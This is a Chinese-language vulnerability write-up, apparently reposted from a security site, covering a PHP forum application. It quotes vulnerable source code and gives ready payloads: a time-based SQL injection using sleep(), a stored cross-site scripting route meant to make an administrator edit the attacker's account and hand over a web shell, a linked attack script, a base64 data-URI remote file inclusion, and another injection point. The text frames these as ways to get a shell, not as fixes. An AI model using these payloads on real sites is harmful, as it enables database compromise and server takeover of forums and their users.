原文地址:http://www.7747.net/Article/201011/78131.html
我是菜鸟,不能理解他讲的东西,管理员在吗?希望能看一下。
1. 延迟注射:
ajaxmember.php?action=deleteMsgs 80行
case "deleteMsgs":
$msgids=$_POST['msgids'];
//DELETE
if(is_array($msgids)) {
$delids=implode(",",$msgids);
echo "id in ($delids) and touserid={$lg['userid']}";
$db->row_delete("msgs","id in ($delids) and touserid={$lg['userid']}"); //可惜了,是deleted语句,无论结果,只返回 _Y_
}
succeedFlag();
break;
没有错误输出,被迫采用延迟的方法:POST一个 msgids[a]=if(1,sleep(10),1) 进入数据库。
操作语句是:DELETE FROM `db_msgs` WHERE id in ( if(1,sleep(10),1) ) and touserid=1
系统采用md5(username.userpass)的方式。Exp:
2. 论坛跨站:
ajaxmember.php 34行 设置论坛个人信息:
case "modifyDetails":
$user = $_POST['user']; //接收的user数组没有进行htmlspecialchars
if(getPopedom(5)==0){
$user['usertitle']='';
}
if($user["email"]==""){
exit("资料不完整。");
}
foreach(explode(",", $cache_settings['reservedkeyword']) as $rkey){
if(!empty($rkey) && stristr($user['usertitle'],$rkey)){
exit("自定义头衔含有禁用关键字");
}
}
$db->row_update("users",$user,"id={$lg['userid']}"); //存入数据库,函数内SQL有单引号包裹
succeedFlag();
论坛帖子对输出进行了XSS过滤,个人签名等XSS点无法使用。突破点在后台管理编辑用户的地方,所以比较鸡肋。不过系统后台拿shell方法较多,直接编辑脚本即可,利用方法:
注册用户,修改个人信息,装嫩让管理后台编辑你的用户,拿shell。
利用ajax操作后台的js:
http://www.uudisc.com/user/k4shifz/file/3665675
再简单说一下后台:
后台漏洞比较多,编辑脚本拿shell、本地包含,注入,还有个远程包含:
admin\admin.php
......
$inc=strFilter($_GET['inc']);
$action=strFilter($_GET['action']);
......
$inc=str_replace('.','',$inc);echo $inc;
require_once($inc.".php"); //远程包含,可惜在后台
/admin/admin.php?inc=data:;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4= //phpinfo()
5.2.0以后受制于allow_url_include
捡一个注入:
ajaxadmin.php
case "dotopics":
try{
$postaction=$_POST['postaction'];
$tids=$_POST['tids'];
if(empty($tids)){
echo("没有选中帖子。");
return;
}
if(is_array($tids)) {
$tidstr=implode(",",$tids);
switch($postaction){
case "delPost":
$db->row_delete("posts","tid in ({$tidstr}) and fid={$fid}"); //进入数据库查询
发布作者:k4shifz,由情整理编辑